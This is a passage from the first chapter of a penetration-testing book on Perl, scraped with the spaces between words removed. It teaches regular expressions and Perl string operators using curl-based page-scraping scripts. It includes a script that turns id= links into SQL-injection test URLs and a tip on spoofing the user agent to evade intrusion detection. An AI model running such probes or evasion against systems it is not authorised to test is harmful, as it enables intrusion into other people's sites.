![Page 30: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/30.jpg)
Chapter1.PerlProgrammingThischapterwillrequirebasicknowledgeofPerlprogrammingandsimpleprogramminglogic.ItwillalsorequireaLinuxenvironmentandatestlabtotestthecodeexamples.
Thetopicsthatwillbecoveredinthischapterareasfollows:
FilesRegularexpressionsPerlstringfunctionsandoperatorsCPANPerlmodulesCPANminus
![Page 31: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/31.jpg)
FilesFilesareeverywhere.Weallshare,create,modify,anddeletefilesonadailybasis.Butwhatarefiles?Textfiles?Images?Yes,thesearefiles,butsoarewebsites,databases,computerscreens,keyboards,andevendiskdrives!TheLinuxoperatingsystemtreatseverythingasafile.Thisincludesregulardocumentfilesthattheusercreates,configurationfilesusedbyservices,andevendevices.DevicescanactuallybeaccessedviathefilesysteminaspecialI/Ostream.ThisisjustoneofLinux’smostprominentfunctionalcharacteristicsthathelpsputitaboveotheroperatingsystemsthatwewillcoverinmoredetailinChapter2,LinuxTerminalOutput.Itmakescustomizationincrediblyeasy,allowsustoeasilyinteractwithhardwareusingfiledescriptors,andalsomakessomesecuritypracticeseasiertounderstandwithsimplefilesystempermissions.Manyofthefilesthatweencounter,evenbinaryMIMEtypes,willhavesomeplaintextinthem.Thistextcanincludepasswords,servernames,internalnetworkdata,e-mailaddresses,phonenumbers,andmuchmore.Fine-tuningourinformation-gatheringskilltodetectpotentiallysensitivedatainstringscanbeaccomplishedwiththesimplepracticeofpatternmatchingusingregularexpressions.
What’scovered?Inthischapter,wewillcoverthebasicsofusingregularexpressionsinourPerlprogramsthatwewillbewritingthroughoutthisbook.Ifyouareunfamiliarwithregularexpressionsyntax,it’sbesttoreadthroughcarefullyandfollowtheexamples.Wewillcoveronlyasmallportionoftheunderlyingstringfilteringpowerofregularexpressions,andweimploreyoutoexpandthisknowledgefurthertomasterthestringoperatorsofPerl.WewillbrushuponhowtoinstallandusePerlmodulesfromtheCPANcodebase(http://cpan.org).Thischapterendswithuswritingourfirsttooltogatherinformationfromawebsite.WewillalsotouchlightlyuponthePenetrationTestingExecutionStandard(PTES)andwhereourworkuptothispointfitsthestandards.Also,inthischapter,wewillbelookingathowPerlcaninteractwiththeLinuxshellusingI/Ostreamstosendoutputtoothercommands,forkingprocesses,orevenfilesforloggingourdata.BytheendofChapter2,LinuxTerminalOutput,wewillhaveanyonereadingalong(withmostlyGUIorWindowsexperience)comfortableusingtheGNULinuxbashshell.
![Page 32: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/32.jpg)
RegularexpressionsRegularexpressionsarepatternsthatuseaspecialsyntaxtofilterinputandoutputtext.Theyarethestandardforanytypeoftextfilteringandmanipulation,andmanyofthemostpopularprogramminglanguagestodaysupportthebasicregularexpressionsyntax.Sincealotofpenetrationtestinginvolvesunknownsandvariables,theseexpressionsareextremelyimportantforustofine-tuneourresultsfromanysourcethatrespondswithtext,orbinarythatcouldcontaintext.Theyhelpusreducetheamountoftrafficgeneratedduringthetestandalsosaveustimeandcutcostswhenfoundinanyprocessthatmightinvolvetext.Forinstance,considerHTTPGETrequeststowebsites.Wewon’tneedtosendhundredsofautomatedrequeststotestforcross-sitescripting(XSS)vulnerabilitiesifweknowexactlywhatwearelookingfor!WecansimplysendafewrequestsandsavetimebyknowinghowtoconstructproperPerlm//matchingoperatorexpressions.
Bytheendofthischapter,wewillbecompletelyconfidentinparsingoutanythingwewantfromanytextmediaMIMEtypeoffile.
IfwearetoconsiderwhystringsareimportanttousduringapenetrationtestwithPerl,it’seasytoseetherelation.Firstofall,Perlprogramminghastheabsolutebeststringmanipulationsupportandisconsideredthedefactostandardforregularexpressionusage.Stringsthemselvesarebesthandledwiththeseregularexpressions,andsadly,believeitornot,theyseemtobeoverlookedbyalotofprogrammers.Regularexpressionsareasimplesublanguagethatcanbeusedforfiltering,altering,andcreatingstringswithincredibleprecision.Manyofthemostpopularprogramminglanguagessupportbasicregularexpressionsyntax.Linuxalsohasmanyapplicationsinstalledbydefault,suchasawk,sed,andegrep,whichalsosupportregularexpressionsasarguments.First,let’stakealookatmetacharacters.Metacharactershaveaspecialmeaningtotheregularexpressionengine(inourcase,Perl).Ifwewanttosearchfortheliteralmeaningofacharacter,wecansimplyescapeitwithabackslash,justaswewouldforquotes,orwithdollarsymbolsinaprint()function’sstringargument.
![Page 33: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/33.jpg)
LiteralsversusmetacharactersThefirstmetacharacterwewillcoveristheperiod.Thisliterallyrepresentsanycharacter.Considerthatwewriteanexpressionpatternlikethefollowing:13.7
IfwefeedthisintothePerlm//matchingoperator,thiswillpositivelymatchanylinethatcontainsthesubstringssuchas13a7,13b7,1307,13.7,13>7,andeven13,7.Itevenincludesnon-alphanumericcharacterssuchas13-7,13^7,andeven137(that’saspace).Wecaneasilycomparethistothe?characterintheLinuxshellbash,andwefindthatbothactthesame.Considerthefollowingcommand:
vim?op.p?
Thiscommandwillstartavimsessionwithafilenamedoop.plorpop.pkoreven8op.p_inabashshell.Wecanthinkofthewildcard?as.inaregularexpressionsyntax.
Let’stakealookatasmalllistofsomeofthemostcommonmetacharactersusedthroughoutthisbookandwhattheyrepresenttoaregularexpressioninterpreter.Thesearesplitintotwogroups,charactersandquantifiers.
Character/quantifier Description
\s Thisrepresentsanywhitespacecharacter,tab,andspace
\S Thisrepresentsanynon-whitespacecharacter
\w Thisrepresentsanywordcharacter(alphanumericandunderscore)
\W Thisrepresentsanynon-wordcharacter
\d Thisrepresentsanydigit
\D Thisrepresentsanynon-digitcharacter
\n Thisrepresentsanewline
\t Thisrepresentsatabcharacter
^ Thisrepresentsananchortothebeginningoftheline
$ Thisrepresentsananchortotheendoftheline
() Thisrepresentsagroupingofstrings
(x|y) ThisisaninstructiontomatchxORy
[a-zA-Z] ThisrepresentscharacterclassesmatchathroughzORA-Z
. Thisrepresentsanycharacteratall,evenaspace
* Thisrepresentsanyamount,even0
? Thisrepresents1or0
![Page 34: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/34.jpg)
+ Thisrepresentsatleast1
{x} Thisindicatesthatitisatleastxtimesamatch
{x,} Thisindicatesthatitisatleastxamountoftimesamatch
{x,y} Thisindicatesthatitisatleastxbutnomorethanytimesamatch
![Page 35: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/35.jpg)
QuantifiersWhatifwewanttohaveatleastonecharactermatch,suchastheocharacterinfo,foo,andfooooo?Weuseaspecialmetacharactercalledaquantifier.Quantifiersareunaryoperatorsthatactonlyuponthepreviousexpression.Theycanbeusedtoquantifyhowmanytimeswematchasinglecharacter,string,orsubpattern.Therearefourdifferentquantifierswewillcoverinthissection.Thefirstistheatleastonequantifier+.
Tomatchthestringsmentioned,wecansimplymakeourpatternasfollows:fo+
Thiswilldothetrick.Ifwewanttheocharactertobeoptional,wecanusethe?quantifierandmakeourregexpfo?toaccomplishthematch.Thismeanswecanmatchstringssuchasfo,from,andform,forexample.
Wecanalsospecifyazerooranyamountquantitywiththeasteriskcharacter*.Ourregularexpressionpattern,orregexp,willthenbecome:fo*
Thiswillmatchfo,f,fooooooo,andevenfffff,forexample.Theasteriskusedinabashshellmeansanythingatall.Thismeansthathello*.txtwillmatchhello_world.txtorevenhello.txt.Thisiscertainlynotthecasewiththequantifier.Todifferentiatethetwo,hello*.txtthatisusedasaregexpinthematchingoperatorm//willonlyfilterresultssuchashellooooo.txtandevenhell.txt.Wecanthinkofthebash*operatorastheregexppattern.*Thisissolelybecausetheoperator*literallymeanszeroormanyofthelastpatternorcharacter.
Finally,let’stakealookatourowncustomquantifier.Thisquantifierisdenotedas:{m,n}
Thisquantifierallowsustospecifyourownrangeofquantities.Itisthemostpowerfulquantifierduetoitsflexiblenature.Let’slookatasimpleexample.Saywewanttomatcha#characterfollowedbyaminimumofthreezeroesandamaximumofsix,thenasemicolonforahexadecimalvalueofthecolorblackisused.Ourexpressionisthenwrittenas#0{3,6},andwillmatchthefollowingstrings:#000,color:#0000,andbackground-color:#000000.Wecanleaveouttheninthegeneraldefinitiontospecifyatleastm,andwedon’tcarehowmanymore.
![Page 36: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/36.jpg)
AnchorsAnchorsaremetacharactersthatallowustoanchorourpatterntothebeginningorendoftheinputstring.Forinstance,thecaretcharacter^allowsustoanchorthepatternfiltertothebeginningofthestring.SaywearesearchingthroughafileandwanttodisplaylinesthatbeginwiththeliteralstringPerl.Ourregexpthensimplybecomes:^Perl
Wecanusethiswithanyapplicationthattakesaregexpasanargument.Egrep,forexample,takesaregexpasanargumentandfilterstheoutputtoonlydisplaywhatmatcheswiththerulesintheregexp’ssyntax.Let’ssearchafileforlinesthatbeginwithanimagetagusingegrep:
[trevelyn@shell~/pentestwithperl/dev]$egrep‘^<img’site.html
<imgsrc=”../images/avatar.png”/>
<imgsrc=””/>
<imgwidth=500src=”../images/creditcard.png”/>
<imgsrc=“http://weaknetlabs.com/images/argv0.png”/>
<imgwidth=“500”src=’../images/ilovepla.png’/>
<imgsrc=’../images/inbox.png’height=250/>
Intheprecedingexample,weseetheoutputofegrepthatshowsonlylinesthatstartwiththeliteralstring<imgwhenappliedtothefilesite.html.Thisisourstartinganchor.Anotheranchorisonethatmatchestheendofaninputstring.
TipHTMLreturnedbysomePerlfunctionsorLinuxcommandscanhaveatendencytobereturnedasonegreatbigstringinsteadofbeingreturnedonaper-linebasisthatwesee.Thisisduetothewebprogrammer’stexteditororIDEthatusesnonstandardcharactersfortheendsoflines,suchas^M.Toavoidouranchoredpatternthatisusedinthem//matchingoperatorreturningtheentireHTMLasoneline,wecanbreakupthelinesusingotherspecialcharactersandthePerlsplit()function,whichwewillseeinChapter6,OpenSourceIntelligence.
IfwewantedtomatchastringorlinethatendedwiththeliteralstringPerl,wecanusethedollarcharacter$.Ourregexpthenbecomes:Perl$
ThiswillmatchanystringthatendswiththewordPerl.Theunderlyingprincipleofanchoringpatternscanbeappliedwithoutusingthe^and$metacharacters.Forinstance,ifweknowthatourlineswillcontainHTMLIMGimagetagsandweareintheprocessofreportingduringourpenetrationtest,andwewantafinelytunedlistofimagesthatcontainsensitivemetadata.SinceweknowthatIMGHTMLtagshaveasourceattribute,src=””,weknowthatwejustneedwhat’swithinthedoublequotations.Wecanthenanchorthebeginningofourpatterntothesrc=”textandtotheendoftheclosingdoublequotationmark,likethis:src=”[^”]+”
Thiswillperfectlymatchthedirectpathtotheimageonlines,likethis:
![Page 37: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/37.jpg)
<imgsrc=”../images/myimage.png”/>
Wehaveusedthedoublequotationmarksasanchors.Theseanchormetacharactersandmethodsarevitaltoensurethatwemakeprecisefiltersforourinputwhendealingwithstrings.
TipOnethingtonotewhilepracticingtheregularexpressionsyntaxisthatnotallinterpreterssupportallsyntaxes.Infact,thesameapplicationinterpreterprogramcanoffersupportforsomeadvancedregularexpressionsyntaxwhenusedonaGNUsystemandnotonaBSDsystem!ThebestwaytotestthisinordertoalsoavoidshellinterpretationofmetacharactersistotestthesyntaxusingthePerlfunctionsandoperatorsdescribedinthischapter,orcheckthesyntaxmanualsonyoursystembeforehand.
![Page 38: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/38.jpg)
CharacterclassesAcharacterclassusestheBooleanORlogic,andiswrittenwithinsquarebracketsinaregularexpressionsyntax.Let’ssaythatwewanttomatchanystringthatcontainseither1,3,or7.Wewillwriteourregexpasthis:[137]
Thiswillmatchstringssuchasl337,L3et,LEE7,1337,andeven3Lea7aswedidn’timposeandanchorintothepattern.Thiscansometimesbeveryhelpfulwhendealingwithwebsecurityobscurely.Sometimes,simplemethodssuchasfilteringforhardcodedcharactersareusedtosecureawebapplicationorsite.
Onethingweshouldnoteisthatallmetacharactersexceptforthecaret^andthehyphen-losetheirspecialmeaningandaretreatedasliteralswithinthecharacterclassbrackets.Thecaretactuallytakesonanewmeaning,whichistonegateanystringthatcontains1,3,or7whenusedatthebeginningoftherange,likethis:[^137]
ThisregexpwillreturnfalsewhenusedinaPerlmatchingoperatorandfedwiththestringsthathadpreviouslymatched.ThiswillpositivelymatchastringsuchasLeEt,oreven1ee7,butnot1337.
Theclassbracketscanalsocontainmorethanjustnumbers.Wecanuseanycharacters.Forexample,let’smakearegexpasfollows:ra[ibtfdo]
Noticethespaceattheendaftero.Thispatternwillmatchthestringrabbitfoodandrabbittfooodforexample,andallowustoworkaroundtyposwhensearchingfortheexactinformationwewant.Havingtheflexibilitytoallowforhumanerrorisalwaysamajorbenefittominimizingourfootprintduringapenetrationtest.
TipAlwaysrememberthatregularexpressionsyntax,justlikePerl,iscasesensitive.Thecharacterclassbracketsaregreatwhenwedon’tknowthecaseoftheinputstring.Forinstance,theregexp[Ss][Qq][Ll]willmatchSQLinanycaseform,andsomeoperatorsallowustoshortenthissyntaxto/sql/ibysimplyappendingthecharacteritotheendoftheexpression.
RangedcharacterclassesInPerl,wecaneasilycreateanarraybyassigningalistasarangetoit.Forexample:my@array=(0..9);
Thisarraywillcreateanarraywiththe0thelementas0andtheninthelementas9.Thisisverysimilartohowwespecifyarangedcharacterclassinregularexpressionsyntax.Theonlydifferenceisthatweusethehyphencharacter-withinsquarebrackets.ThisworksbecauseofthewayPerlinterpretscharactersbytheirASCIIvalues.Perlknowsthattheunderlyingvalueof,saya,is97,andthatofeis101.Let’ssaywespecifyarangewithinsquarebracketslikethis:
![Page 39: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/39.jpg)
[a-e]
TheregularexpressioninterpreterwillsearcheverylineofinputandfilterforeitheraORbORcORdORe.ThisworkswithanytwocharactersaslongasthefirstASCIIvalueofthefirstcharacterislessthantheASCIIvalueofthesecond.
![Page 40: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/40.jpg)
Groupingtext(strings)ThesquarebracketsaregreatforBooleanORlogic,butwhataboutAND?TheANDlogiccanbeaccomplishedusingparenthesis,andworkswellforstrings.
Whenwecoveredtheunaryquantifieroperatorearlierinthischapter,welearnedthatitcanbeappliedtonotonlythepreviouscharacterbutalsotoaprevioussubpatternorexpressionaswell.Wecanuseitonacharacterclassandstringtoquantifyhowmanytimeswewantthoseaswell.Forinstance,ifwehavethestringfoobar,andwearelookingspecificallyforanotherstringfoobarfoobar,wecansimplyappendthe{2}quantifiertothestringinparenthesis,makingourregexpasfollows:(foobar){2}
Withouttheparenthesis,the{2}quantifierwillonlyactuponthercharacterjustbeforeit.Thisisasimilarbehaviortootherunaryalgebraoperatorssuchasexponents.Forexample,thealgebraicexpression6x2canreturnaresultvastlydifferentthanthatoftheexpression(6x)2.Let’sputafewconceptstogetherforastringexample.Ifwearesearchingforaspecificstring,saybarbazbarbaz,wenoticethatwearelookingforarepeatingpattern,barbaz.Let’smakeourregexpasfollows:(barbaz){2}
Itwillmatchfoobarbazbarbazfooandbarbazbarbazbarbazasexamplesalso.Howshouldwefilterthesefalsepositivesout?Wesimplyuseanchors:^(barbaz){2}$
Thisnewregexppatternwillonlymatchstringsorlinesthatarebarbazbarbaz.
Whenalloftheseprinciplescometogether,wesaveamassiveamountoftimewriting,debugging,andmaintainingourPerlprograms,andfine-tuningourscopewhenhuntingforspecificdata.OnereallynicefeatureaboutPerlisthehugenumberoflibrariesormodulesithas.Infact,thereisonespecificmodulethatwecanusetodebugourregularexpressions,calledRegexp::Debugger.Laterinthischapter,wewilllearnhowtoinstallandusePerlmodules.
![Page 41: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/41.jpg)
BackreferencesThereareadvancedmethodstopulloutcertaininformationfromthedatawereceive,oneofwhichisbackreferences.Backreferencesareanymatchedsubstringsinaregularexpressionthatmatchwithinparenthesis.Thiscanbecomplex,solet’stakealookatanexample.Let’ssaywehaveafilewithamassiveamountofEnglishwords,oneperline.Howcanwewritearegularexpressionpatterntosearchforwordsthathavethreeidenticalconsecutiveletters?Well,anythingthatmatchesthepatternwithinaparenthesisgetsstoredintheregularexpressioninterpreterasavariable.ThisvariablecanbeaccessedinPerlwithasimpledigit.\1isthevariableforthefirstmatchinparenthesis,\2forthesecond,andsoon.Let’swriteasamplecodethatwillmatchforthespecialwordsinadictionaryfile:#!/usr/bin/perl-w
usestrict;
open(DICT,”<”,“words.txt”);
while(<DICT>){
printif(m/([a-z])\1\1/);
}
TipDownloadingtheexamplecode
Youcandownloadtheexamplecodefilesfromyouraccountathttp://www.packtpub.comforallthePacktPublishingbooksyouhavepurchased.Ifyoupurchasedthisbookelsewhere,youcanvisithttp://www.packtpub.com/supportandregistertohavethefilese-maileddirectlytoyou.
Intheprecedingcode,weseethatwhilethefileisbeingreadperline,ifeachlinecontainsanyalphalowercasecharacterfollowedbythatcharacterusingthe\1variabletwomoretimes,werunprint.Werunthisonadictionaryfileandgetthefollowingresults:
[trevelyn@shell~/pentestwithperl/dev]$perlbackrefword.pl
crosssection
crosssubsidize
shellless
bossship
demigoddessship
goddessship
headmistressship
patronessship
wallless
whenceeer
What’sevenmorebeautifulaboutthematchbeingstoredinto\1isthatPerlactuallystoresitagaininthespecialvariable$1.Thisspecialvariablegetsoverwrittenoneachmatchthough,butlet’slookathowwecanusethis:#!/usr/bin/perl-w
usestrict;
open(DICT,“words.txt”);
while(<DICT>){
![Page 42: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/42.jpg)
print“Match:”.$1.””.$_if($_=~m/([a-z])\1\1/);
}
Thiscodeproducesthefollowingresults:
[trevelyn@shell~/pentestwithperl/dev]$perlbackrefword.pl
Match:scrosssection
Match:scrosssubsidize
Match:lshellless
Match:jjjjbackpack
Match:sbossship
Match:sdemigoddessship
Match:sgoddessship
Match:sheadmistressship
Match:spatronessship
Match:lwallless
Match:ewhenceeer
Here,weseethatthespecialvariable$1isequalto\1andthefirstmatchinparenthesis.Thisisextremelyusefulwhenminimizingourcode.Wewillbeusingthissyntaxthroughouttherestofourexamplesinthisbook.
![Page 43: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/43.jpg)
PerlstringfunctionsandoperatorsSohowdowereallytakeadvantageoftheseregularexpressionsinPerl?Well,wewillbelearningaboutfourdifferentoperatorsandfunctionsthatusethem,m//,s///,grep(),andsplit().Thesewillallowustofocusdirectlyonthereturnedtextthatwedesirefromanyscanduringapenetrationtest.Let’sfirsttakealookatthePerlm//matchingoperatorinaction.
![Page 44: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/44.jpg)
ThePerlm//matchingoperatorLet’sdesignasimplescriptthatusesthecurlLinuxprogramtogetawebpageandfilteritsoutput.curlisaLinuxprogramthattransfersalotofdifferentprotocolsyntaxfromtheWebviaourqueriesbacktoourcommandline’sstandardoutput(thescreeninmostcases,STDOUT).ThisPerlscriptreliesonanexternalshelloutputforitsresult’sinput.AbetterwaytodothisistosimplyusePerlmodules,suchasLWP::UserAgent,whichcanbedownloadedfromthemassiveCPANcodebase.WewilllearnmoreaboutPerlmoduleslaterinthischapter.Considerthefollowingcode:#!/usr/bin/perl-w
usestrict;
foreach(`curl$ARGV[0]2>/dev/null`){
printif(m/<img.+src=/);
}
Thissimplecodeusesthe“(backticks)syntaxtoiteratethroughthereturnedoutputofthecurlcommandfromtheshell.WeanalyzeeverylineandprintifthesrcattributecomesrightaftertheopeningHTMLIMGtag.Thisisanextremelysimpleexample.Ifweweretoreadthisifstatementasanalgebraicwordproblem,itwouldread“ifthelocalvariableforeachlinereturnedfromtheHTMLpageusingcurlcontainsthepatternmatchingtheregularexpressionrules<img.src,thenprintit.”It’seasytoseehowthisismuchmoreflexiblethanjustsearchingforstaticlines.Let’snowtakethisabitfurtherandpullouttheimageURLs(iftheyarefullURLpaths).
![Page 45: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/45.jpg)
ThePerls///substitutionoperatorSubstitutingtextisanothervitalPerlskill.Thistooinvolvesusingregularexpressions,andwhenusedproperly,canresultinsmaller,moreconvenientcodethatuseslessexternalresources.Let’sremoveallthetextthatisnotoursourceattributevalueintheHTMLIMGtagsthatwefindinatarget’swebpage.Wewillbeusingthes///operator:#!/usr/bin/perl-w
usestrict;
my$url=$ARGV[0]ordie“pleaseprovideaURL”;
my@html=`curl$url2>/dev/null`;
foreachmy$line(@html){
if($line=~m/<img.src=/){
$line=~s/<img.src=[”’]//;#removebeginningofHTMLtag
$line=~s/[”’].*//;#greedilyremoveeverythingaftertheSRCattribute
print$line;
}
}
Here,weaddedafewmorelinesintothepreviouscode.Thefirstweseewiththesubstitutionoperators///actuallycompletelyremovesthestring<imgsrc=”oreven<imgsrc=’withthesimpleBooleanORlogicsquarebrackets.Thesubstitutionoperatorhasthreeslashesandtakestwoarguments.Ittakesthefirstexpression,andusingtheregularexpressionsyntax,matchestheinputtextandthensubstitutesthematchedtextforthesecond:s/this/that/X
Theprecedinggeneralizationshowsthesubstitutionoperatorsyntax.Thethistermwillbethepatternthattheoperatorlooksforinordertosubstitutethatinitsplace.ThetrailingXtermindicatesamodifier,andallowsustospecifycase-insensitivity.Forexample,saywewanttochangeallURLswefindintopotentiallyvulnerableSQLinjectionURLsfromtheidHTTPGETparameter,butwedon’tknowifthewebdeveloperusedHREF=orhref=inthecode,thenwecoulduseapieceofcodelikethis:#!/usr/bin/perl-w
usestrict;
my@html=`curl$ARGV[0]2>/dev/null`;
foreachmy$url(@html){
if(m/\?id=/){
$url=~s/.*href=[”’]//i;
$url=~s/[”’].*//i;
$url=~s/\?id=/?id=’/i;
print$url;
}
}
Thetrailingicharactersarethemodifiersthattellthesubstitutionoperatortoignorethecaseinthematch.The.*href=[”’]regexptellstheoperatortodeleteeverythingbefore(andincluding)thefirstsingleordoublequote,andthe[”’].*regexptellsittoremoveeverythingafter(andincluding)thefirstencounteredsingleordoublequote.Now,inthiscode,wehaveathirdsubstitutionline,whichchangesthe?id=substringinto?id=’,andwhenwerunthisagainstasite,wepullouttheURLsandaddthesinglequote,which
![Page 46: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/46.jpg)
yieldsresultsasfollows:
[trevelyn@shell~/pentestwithperl/dev]$perlsqli.pl
‘http://weaknetlabs.com/temp/siteid.html’
1.http://weaknetlabs.com/main.php?id=‘33
2.http://weaknetlabs.com/main.php?id=‘1022
[trevelyn@shell~/pentestwithperl/dev]$
WecanthenrunyetanotherchecktoverifythateachoneoftheseURLsisunique,andthenanothertoseeiftheDOMisreturnedwithanSQLerror.NoticehowweescapethequestionmarkusedintheGETparameterid.Thisistouseitasasimpleliteralandnotasametacharacter.Thisshowsthepowerofthesubstitutionoperatorandhowwecanapplyittoanystringreturnedfromanyservicewequery.
But,howcanweavoidcallingthes///operatormultipletimestogetaURLfromthestring?Howcanweminimizetheselinesintoonesingleline?Well,rememberbackreferencesfromtheprevioussection?Thes///operatorsupportsbackreferences!Usingbackreferences,wecanreducethefollowingcode:foreachmy$url(@html){
if(m/\?id=/){
$url=~s/.*href=[”’]//i;
$url=~s/[”’].*//i;
$url=~s/\?id=/?id=’/i;
print$url;
}
}
Thiscodecanbereducedtojustthefollowingline:print$2if($_=~m/href=(“|’)([^”’]+)\1/i);
Thecodebecomessimpleandbeautiful.ThePerlspecialvariable$2iswhatismatchedwithinthesecondsetofparenthesis.Wealsomakeuseofthenegationcaret^withinthecharacterclassbrackets,andmatchwiththecase-insensitivemodifierattheendofthem//operator.ThePerlspecialvariablesforbackreferencesareextremelyhelpfulwhenusingthes///operator,aswecanusetheminthesecondargumentfromthematchedregexpinthefirst.
Puttingthetwooperatorsm//ands///togetherprovidesuswithasolidgroundforparsingreturnedtextfromourtarget.Intheselastfewsubsections,wehaveonlycoveredthesurfaceofthepowerthatisheldnotonlybytheseoperators,butalsobytheregularexpressionsyntax.
![Page 47: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/47.jpg)
Regularexpressionsandthesplit()functionThesplit()functionisnotanoperatorlikem//ors///butafunction.Itiscommonlyusedtosplitupinputtextintoarrays.Forinstance,itiscommonlyusedwithCSVfilestogetanarrayofeachelementperlinewiththecode.Considerthefollowingcode:my@spltArr=split(/,/,$_);
Here,wesplitupthelineusingthecommaasadelimiter,andeverythingbetweenthecommasbecomesanelementinthe@spltArrarray.Let’sapplythistothewebpagereturnedfromourpreviousexamples.WecansplitthetextusingthedoublequoteasadelimiterandonlypullouttheURLtotheimage.Considerthefollowingcode:#!/usr/bin/perl-w
usestrict;
my$url=$ARGV[0];#grabURL
foreachmy$line(`curl$url2>/dev/null`){
if($line=~m/<imgsrc=”/i){
foreach(split(/”/,$line)){
print$_,“\n”if(m/.(png|jpg|gif)$/i);
}
}
}
Here,wemakesuretheIMGtaglineusesdoublequoteswiththeregexp<imgsrc=”,andthenwesplitthelineusingthedoublequotesasthedelimiter.Wethenuseam//matchingoperatortocheckforaGIF,JPG,orPNGfile.WeincorporatedanchorsandtheORmetacharacteragainststringsinthisexample.
Thesplit()functionactuallyletsususearegexpasthedelimiter.Let’ssaywedon’tknowwhetherthesingleordoublequoteswereusedforanHREFattributeinanHTMLanchortag.WecanusethelogicalORandacharacterclassof[”’]insteadofjustsingleanddoublequotes:split(/[”’]/,$_);
Thiscodewilluseeitherasinglequoteoradoublequoteasadelimiter.Wewillhavetoremovethepreviousdoublequotefromthe<imgsrc=”regexpinthePerlm//operator.
Alloftheprecedingcurlquerieswerenotsentwithacommonwebbrowseruseragent.Thismayleadtoanintrusion-detectionsystemcatchingourautomatedrequestsanddenyingourexternalIPaddressfurtheraccess.Acommoncurluseragentwilllooklikethefollowinginawebserver’saccesslog:curl/7.15.5(i486-pc-linux-gnu)libcurl/7.15.5OpenSSL/0.9.8czlib/1.2.3
libidn/0.6.5
Wecanprovidethisinformationto“prove”(asinspoof)toawebserverthatweare,infact,asimplewebbrowserpatronofthetarget’swebsite.Thiscanbedoneeasilywithacommand-lineargument,orcodedintoourPerlapplicationsusingsomeofthecodebasefromCPAN,whichwewillcoverinthenextsection.
![Page 48: the-eye.eu · 2017. 6. 8. · Table of Contents Penetration Testing with Perl Credits About the Author About the Reviewers Support files, eBooks, discount offers, and more Why subscribe?](https://reader033.vdocuments.site/reader033/viewer/2022060903/609f2ba5d75b383d6e31e59d/html5/thumbnails/48.jpg)
